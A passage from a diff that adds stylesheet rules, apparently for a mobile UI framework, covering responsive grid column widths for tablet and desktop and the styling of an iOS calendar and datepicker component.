20%; + } + .md .row .tablet-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .tablet-15 { + width: 15%; + } + .md .row .tablet-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-10 { + width: 10%; + } + .md .row .tablet-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-5 { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(1), + .md .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-auto:nth-last-child(1), + .md .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .md .row .tablet-auto:nth-last-child(2), + .md .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-auto:nth-last-child(2), + .md .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .md .row .tablet-auto:nth-last-child(3), + .md .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-auto:nth-last-child(3), + .md .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .md .row .tablet-auto:nth-last-child(4), + .md .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-auto:nth-last-child(4), + .md .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .md .row .tablet-auto:nth-last-child(5), + .md .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-auto:nth-last-child(5), + .md .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .md .row .tablet-auto:nth-last-child(6), + .md .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .tablet-auto:nth-last-child(6), + .md .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .md .row .tablet-auto:nth-last-child(7), + .md .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .tablet-auto:nth-last-child(7), + .md .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .md .row .tablet-auto:nth-last-child(8), + .md .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .tablet-auto:nth-last-child(8), + .md .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .md .row .tablet-auto:nth-last-child(9), + .md .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .tablet-auto:nth-last-child(9), + .md .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .md .row .tablet-auto:nth-last-child(10), + .md .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-auto:nth-last-child(10), + .md .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .md .row .tablet-auto:nth-last-child(11), + .md .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .tablet-auto:nth-last-child(11), + .md .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .md .row .tablet-auto:nth-last-child(12), + .md .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .tablet-auto:nth-last-child(12), + .md .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .md .row .tablet-auto:nth-last-child(13), + .md .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .tablet-auto:nth-last-child(13), + .md .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .md .row .tablet-auto:nth-last-child(14), + .md .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .tablet-auto:nth-last-child(14), + .md .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .md .row .tablet-auto:nth-last-child(15), + .md .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .tablet-auto:nth-last-child(15), + .md .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .md .row .tablet-auto:nth-last-child(16), + .md .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .tablet-auto:nth-last-child(16), + .md .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .md .row .tablet-auto:nth-last-child(17), + .md .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .tablet-auto:nth-last-child(17), + .md .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .md .row .tablet-auto:nth-last-child(18), + .md .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .tablet-auto:nth-last-child(18), + .md .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .md .row .tablet-auto:nth-last-child(19), + .md .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .tablet-auto:nth-last-child(19), + .md .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .md .row .tablet-auto:nth-last-child(20), + .md .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-auto:nth-last-child(20), + .md .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(21), + .md .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .tablet-auto:nth-last-child(21), + .md .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .md .row .desktop-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-100 { + width: 100%; + } + .md .row .desktop-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .desktop-95 { + width: 95%; + } + .md .row .desktop-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .desktop-90 { + width: 90%; + } + .md .row .desktop-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .desktop-85 { + width: 85%; + } + .md .row .desktop-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .desktop-80 { + width: 80%; + } + .md .row .desktop-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .desktop-75 { + width: 75%; + } + .md .row .desktop-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .desktop-70 { + width: 70%; + } + .md .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .md .row .desktop-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .desktop-65 { + width: 65%; + } + .md .row .desktop-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .desktop-60 { + width: 60%; + } + .md .row .desktop-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .desktop-55 { + width: 55%; + } + .md .row .desktop-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-50 { + width: 50%; + } + .md .row .desktop-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .desktop-45 { + width: 45%; + } + .md .row .desktop-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .desktop-40 { + width: 40%; + } + .md .row .desktop-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .desktop-35 { + width: 35%; + } + .md .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .md .row .desktop-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .desktop-30 { + width: 30%; + } + .md .row .desktop-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-25 { + width: 25%; + } + .md .row .desktop-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-20 { + width: 20%; + } + .md .row .desktop-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .desktop-15 { + width: 15%; + } + .md .row .desktop-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-10 { + width: 10%; + } + .md .row .desktop-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-5 { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(1), + .md .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-auto:nth-last-child(1), + .md .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .md .row .desktop-auto:nth-last-child(2), + .md .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-auto:nth-last-child(2), + .md .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .md .row .desktop-auto:nth-last-child(3), + .md .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-auto:nth-last-child(3), + .md .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .md .row .desktop-auto:nth-last-child(4), + .md .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-auto:nth-last-child(4), + .md .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .md .row .desktop-auto:nth-last-child(5), + .md .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-auto:nth-last-child(5), + .md .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .md .row .desktop-auto:nth-last-child(6), + .md .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .desktop-auto:nth-last-child(6), + .md .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .md .row .desktop-auto:nth-last-child(7), + .md .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .desktop-auto:nth-last-child(7), + .md .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .md .row .desktop-auto:nth-last-child(8), + .md .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .desktop-auto:nth-last-child(8), + .md .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .md .row .desktop-auto:nth-last-child(9), + .md .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .desktop-auto:nth-last-child(9), + .md .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .md .row .desktop-auto:nth-last-child(10), + .md .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-auto:nth-last-child(10), + .md .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .md .row .desktop-auto:nth-last-child(11), + .md .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .desktop-auto:nth-last-child(11), + .md .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .md .row .desktop-auto:nth-last-child(12), + .md .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .desktop-auto:nth-last-child(12), + .md .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .md .row .desktop-auto:nth-last-child(13), + .md .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .desktop-auto:nth-last-child(13), + .md .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .md .row .desktop-auto:nth-last-child(14), + .md .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .desktop-auto:nth-last-child(14), + .md .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .md .row .desktop-auto:nth-last-child(15), + .md .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .desktop-auto:nth-last-child(15), + .md .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .md .row .desktop-auto:nth-last-child(16), + .md .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .desktop-auto:nth-last-child(16), + .md .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .md .row .desktop-auto:nth-last-child(17), + .md .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .desktop-auto:nth-last-child(17), + .md .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .md .row .desktop-auto:nth-last-child(18), + .md .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .desktop-auto:nth-last-child(18), + .md .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .md .row .desktop-auto:nth-last-child(19), + .md .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .desktop-auto:nth-last-child(19), + .md .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .md .row .desktop-auto:nth-last-child(20), + .md .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-auto:nth-last-child(20), + .md .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(21), + .md .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .desktop-auto:nth-last-child(21), + .md .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Calendar/Datepicker === */ +.calendar { + overflow: hidden; + height: 320px; + width: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.calendar.modal-in { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +@media (orientation: landscape) and (max-height: 415px) { + .calendar.calendar-sheet { + height: 220px; + } + .calendar.calendar-modal { + height: calc(100vh - 44px); + } +} +.calendar.calendar-inline, +.calendar.calendar-popover .calendar { + position: relative; +} +.calendar-modal { + position: absolute; + height: 420px; + overflow: hidden; + top: 50%; + left: 50%; + min-width: 300px; + max-width: 380px; + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + z-index: 12000; + background: #fff; + width: 90%; + border-radius: 4px; + -webkit-box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); + box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); +} +.calendar-modal.modal-in, +.calendar-modal.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.calendar-modal.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.calendar-modal.modal-out { + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); +} +.calendar-popover { + width: 320px; +} +.calendar-popover .calendar { + height: 320px; +} +.calendar-week-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 11px; +} +.calendar-week-header .calendar-week-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; +} +.calendar-months { + width: 100%; + height: 100%; + overflow: hidden; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-months-wrapper { + position: relative; + width: 100%; + height: 100%; + -webkit-transition: 300ms; + transition: 300ms; +} +.calendar-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; +} +.calendar-row { + height: 16.66666667%; + height: calc(100% / 6); + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.calendar-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; + cursor: pointer; + z-index: 20; + color: #000; + height: 100%; +} +.calendar-day.calendar-day-prev, +.calendar-day.calendar-day-next { + color: #b8b8b8; +} +.calendar-day.calendar-day-disabled { + color: #d4d4d4; + cursor: auto; +} +.calendar-day.calendar-day-selected span { + color: #fff; +} +.calendar-day.calendar-day-has-events span:after { + content: ''; + width: 4px; + height: 4px; + border-radius: 50%; + position: absolute; + margin-left: -2px; + left: 50%; + bottom: 1px; +} +.calendar-day span { + display: inline-block; + border-radius: 100%; + position: relative; +} +.calendar-range .calendar-day.calendar-day-selected { + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-align-content: stretch; + -ms-flex-line-pack: stretch; + align-content: stretch; +} +.calendar-range .calendar-day.calendar-day-selected span { + width: 100%; + border-radius: 0; + height: auto; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.calendar-month-selector, +.calendar-year-selector { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 50%; + max-width: 200px; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-month-selector span, +.calendar-year-selector span { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + overflow: hidden; + text-overflow: ellipsis; +} +.ios .calendar-header { + height: 44px; + background: #f7f7f8; + font-size: 17px; + line-height: 44px; + font-weight: 600; + padding: 0 8px; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.ios .calendar-footer { + position: relative; + padding: 0 8px; + width: 100%; + height: 44px; + background: #f7f7f8; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 17px; +} +.ios .calendar-footer:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-week-header { + background: #f7f7f8; + height: 18px; +} +.ios .calendar-week-header .calendar-week-day { + line-height: 18px; +} +.ios .calendar-row:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-row:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-row:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-day { + font-size: 15px; +} +.ios .calendar-day.calendar-day-today span { + background: #e3e3e3; +} +.ios .calendar-day.calendar-day-has-events span:after { + background: #007aff; +} +.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.ios .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .calendar-day span { + width: 30px; + height: 30px; + line-height: 30px; +} +.ios .calendar-month-selector a.icon-only, +.ios .calendar-year-selector a.icon-only { + min-width: 36px; +} +.ios .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-sheet { + background: #fff; +} +.ios .calendar-sheet:before { + z-index: 600; +} +.ios .calendar-sheet .toolbar:before { + display: none !important; +} +.ios .calendar-modal .toolbar:before, +.ios .calendar-popover .toolbar:before { + display: none !important; +} +.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before, +.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before { + display: none !important; +} +.ios .calendar-popover .toolbar { + background: none; +} +.ios .calendar-popover .calendar-week-header, +.ios .calendar-popover .calendar-header, +.ios .calendar-popover .calendar-footer { + background: none; +} +.ios.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-left.calendar .calendar-row, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-left.calendar .calendar-week-header, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-right-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-right.calendar .calendar-row, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-right.calendar .calendar-week-header, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.ios .theme-dark .calendar .calendar-header, +.calendar.ios .theme-dark .calendar-header, +.ios .theme-dark .calendar .calendar-week-header, +.calendar.ios 